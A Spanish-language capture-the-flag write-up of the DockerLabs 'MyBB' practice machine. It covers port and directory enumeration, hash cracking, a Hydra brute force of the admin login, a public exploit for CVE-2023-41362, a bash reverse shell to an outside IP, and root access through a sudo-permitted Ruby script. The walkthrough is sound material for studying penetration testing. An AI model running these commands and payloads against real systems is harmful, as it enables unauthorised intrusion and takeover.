Post

MyBB

DockerLabs es una plataforma gratuita diseñada para practicar hacking ético al alcance de todo el mundo utilizando Docker. DockerLabs ofrece un entorno seguro y accesible para desplegar laboratorios vulnerables de la forma más eficiente y sencilla posible.

MyBB

Information Gathering

El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.

1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/mybb:-$ ping -c 1 127.17.0.2 
PING 127.17.0.2 (127.17.0.2) 56(84) bytes of data.
64 bytes from 127.17.0.2: icmp_seq=1 ttl=64 time=0.162 ms

--- 127.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.162/0.162/0.162/0.000 ms

Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.

1
2
3
/home/kali/Documents/dockerlabs/mybb:-$ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 127.17.0.2 -oG nmap1
Host: 127.17.0.2 ()     Status: Up
Host: 127.17.0.2 ()     Ports: 80/open/tcp//http///     Ignored State: closed (65534)

Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.

1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/mybb:-$ sudo nmap -sCV -vvv -p80 127.17.0.2 -oN nmap2
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: MyBB

Web Analysis

Al visitar el servidor web, se presenta una página estática sin información relevante.

El botón “Ir al foro” redirige a un dominio personalizado. Para acceder correctamente, añado el dominio al archivo hosts en mi máquina.

1
/home/kali/Documents/dockerlabs/mybb:-$ echo '127.17.0.2\tmybb.dl\tpanel.mybb.dl' | sudo tee -a /etc/hosts

Me encuentro con el sistema de gestión de foros MyBulletinBoard.

1
2
/home/kali/Documents/dockerlabs/mybb:-$ whatweb panel.mybb.dl
http://panel.mybb.dl [200 OK] Apache[2.4.58], Cookies[mybb[lastactive],mybb[lastvisit],sid], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], HttpOnly[sid], IP[127.17.0.2], JQuery[1823], PasswordField[quick_password], PoweredBy[--], Script[text/javascript], Title[Forums]

Realizo un escaneo de directorios con Dirsearch y descubro varios recursos, incluyendo un directorio llamado ‘backup’.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/home/kali/Documents/dockerlabs/mybb:-$ dirsearch -u panel.mybb.dl -i 200
[20:58:51] 200 -  810B  - /admin/
[20:58:51] 200 -  810B  - /admin/index.php
[20:58:55] 200 -    3KB - /attachment.php
[20:58:55] 200 -  455B  - /backups/
[20:58:55] 200 -   67B  - /cache/
[20:58:55] 200 -    4KB - /calendar.php
[20:58:57] 200 -    4KB - /contact.php
[20:58:57] 200 -    0B  - /css.php
[20:58:58] 200 -    3KB - /editpost.php
[20:58:59] 200 -  109B  - /global.php
[20:59:00] 200 -    1KB - /htaccess.txt
[20:59:00] 200 -   67B  - /images/
[20:59:00] 200 -   67B  - /inc/
[20:59:00] 200 -    4KB - /index.php
[20:59:00] 200 -    4KB - /index.php/login/
[20:59:01] 200 -  529B  - /install/
[20:59:01] 200 -  529B  - /install/index.php?upgrade/
[20:59:01] 200 -   67B  - /jscripts/
[20:59:03] 200 -    5KB - /memberlist.php
[20:59:03] 200 -    0B  - /misc.php
[20:59:03] 200 -    4KB - /modcp.php
[20:59:04] 200 -    3KB - /newreply.php
[20:59:04] 200 -    3KB - /newthread.php
[20:59:04] 200 -    3KB - /online.php
[20:59:06] 200 -    3KB - /printthread.php
[20:59:06] 200 -    4KB - /private.php
[20:59:07] 200 -    4KB - /report.php
[20:59:07] 200 -    3KB - /reputation.php
[20:59:08] 200 -    4KB - /search.php
[20:59:08] 200 -    2KB - /server-status/
[20:59:08] 200 -    2KB - /server-status
[20:59:09] 200 -    3KB - /stats.php
[20:59:11] 200 -   67B  - /uploads/
[20:59:12] 200 -    4KB - /usercp.php 

Dentro de ‘backup’, encuentro un archivo llamado ‘data’, el cual contiene información sensible.

En el archivo ‘data’, aparecen dos usuarios ‘admin’ y ‘alice’ y un hash de contraseña asociado a ‘alice’.

Extraigo el hash para intentar descifrarlo con Hashcat.

  • alice:$2y$10$OwtjLEqBf9BFDtK8sSzJ5u.gR.tKYfYNmcWqIzQBbkv.pTgKX.pPi
1
/home/kali/Documents/dockerlabs/mybb:-$ echo '$2y$10$OwtjLEqBf9BFDtK8sSzJ5u.gR.tKYfYNmcWqIzQBbkv.pTgKX.pPi' > alice_hash.txt
1
2
3
4
5
6
7
8
9
/home/kali/Documents/dockerlabs/mybb:-$ hashcat --show alice_hash.txt
The following 4 hash-modes match the structure of your input hash:

      # | Name                                               | Category
  ======+====================================================+======================================
   3200 | bcrypt $2*$, Blowfish (Unix)                       | Operating System
  25600 | bcrypt(md5($pass)) / bcryptmd5                     | Forums, CMS, E-Commerce
  25800 | bcrypt(sha1($pass)) / bcryptsha1                   | Forums, CMS, E-Commerce
  28400 | bcrypt(sha512($pass)) / bcryptsha512               | Forums, CMS, E-Commerce
1
2
/home/kali/Documents/dockerlabs/mybb:-$ hashcat -a 0 -m 3200 alice_hash.txt /usr/share/wordlists/rockyou.txt
tinkerbell

El resultado es ‘tinkerbell’. Sin embargo, esta contraseña no me permite acceder a ningún servicio.

  • alice:tinkerbell


Vulnerability Exploitation & CVE Exploitation

Con pocas opciones restantes, decido realizar un ataque de fuerza bruta sobre el usuario ‘admin’. Para ello, intercepto la solicitud POST del panel de inicio de sesión.

Modifiqué esta solicitud cambiando el método de la petición a GET. El formato de la URL quedó como sigue:

1
GET /admin/index.php?username=admin&password=123&do=login

Utilizo la respuesta ‘The username and password combination you entered is invalid.’ como indicador para que Hydra pudiera identificar cuándo una combinación de credenciales es incorrecta.

1
/home/kali/Documents/dockerlabs/mybb:-$ hydra -l admin -P /usr/share/wordlists/rockyou.txt panel.mybb.dl http-post-form "/admin/index.php:username=^USER^&password=^PASS^=login:The username and password combination you entered is invalid."

Hydra genera varias contraseñas posibles. Después de probarlas manualmente, consigo acceder con las siguientes credenciales: admin:babygirl.

Ya dentro del panel de administración, verifico la versión de MyBB instalada. Encuentro que esta versión es vulnerable a una inyección de código en usuarios con privilegios administrador.

https://nvd.nist.gov/vuln/detail/cve-2023-41362

Descargo y ejecuto un exploit público para aprovechar esta vulnerabilidad.

https://github.com/SorceryIE/CVE-2023-41362_MyBB_ACP_RCE

1
2
3
4
5
6
7
8
/home/kali/Documents/dockerlabs/mybb:-$ wget https://raw.githubusercontent.com/SorceryIE/CVE-2023-41362_MyBB_ACP_RCE/refs/heads/main/exploit.py

/home/kali/Documents/dockerlabs/mybb:-$ python3 exploit.py http://panel.mybb.dl/ admin babygirl

/home/kali/Documents/dockerlabs/mybb:-$ nc -lnvp 1234
	listening on [any] 1234 ...

Enter Command> bash -c 'bash -i >& /dev/tcp/192.168.0.171/1234 0>&1'

1
2
3
4
	...connect to [192.168.0.171] from (UNKNOWN) [192.168.0.171] 56572

www-data@kali:/var/www/mybb$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lateral Movement

1
2
3
www-data@kali:/$ cat /etc/passwd | grep /bash$
root:x:0:0:root:/root:/bin/bash
alice:x:1001:1001:,,,:/home/alice:/bin/bash

El usuario alice tiene un shell válido configurado en /bin/bash. Accedo al usuario utilizando la contraseña previamente descubierta.

1
2
3
www-data@kali:/$ su alice
Password: tinkerbell
$

Privilege Escalation

Realizo el tratamiento de la TTY.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
script /dev/null -c bash
Script started, output log file is '/dev/null'.
alice@kali:/var/www/mybb$ ^Z
zsh: suspended  nc -lnvp 1234

/home/kali/Documents/dockerlabs/mybb:/home/kali/Documents/dockerlabs/mybb:-$ stty raw -echo;fg
[1]  + continued  nc -lnvp 1234
                               reset
reset: unknown terminal type unknown
Terminal type? xterm

alice@kali:/var/www/mybb$ export TERM=xterm
alice@kali:/var/www/mybb$ export SHELL=bash
alice@kali:/var/www/mybb$ stty rows 42 columns 86
1
2
3
4
5
6
7
8
alice@kali:~$ sudo -l
Matching Defaults entries for alice on kali:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User alice may run the following commands on kali:
    (ALL : ALL) NOPASSWD: /home/alice/scripts/*.rb

El usuario alice puede ejecutar cualquier archivo Ruby ubicado en el directorio /home/alice/scripts/ con privilegios de superusuario y sin necesidad de proporcionar contraseña.

Aprovechando estos permisos, se creo un script en Ruby para invocar una shell con privilegios de root.

1
2
3
4
5
alice@kali:~$ echo -e '#!/usr/bin/env ruby\n\nexec "/bin/sh"' > scripts/shell.rb
alice@kali:~$ chmod +x scripts/shell.rb
alice@kali:~$ sudo /home/alice/scripts/shell.rb
# id
uid=0(root) gid=0(root) groups=0(root)
This post is licensed under CC BY 4.0 by the author.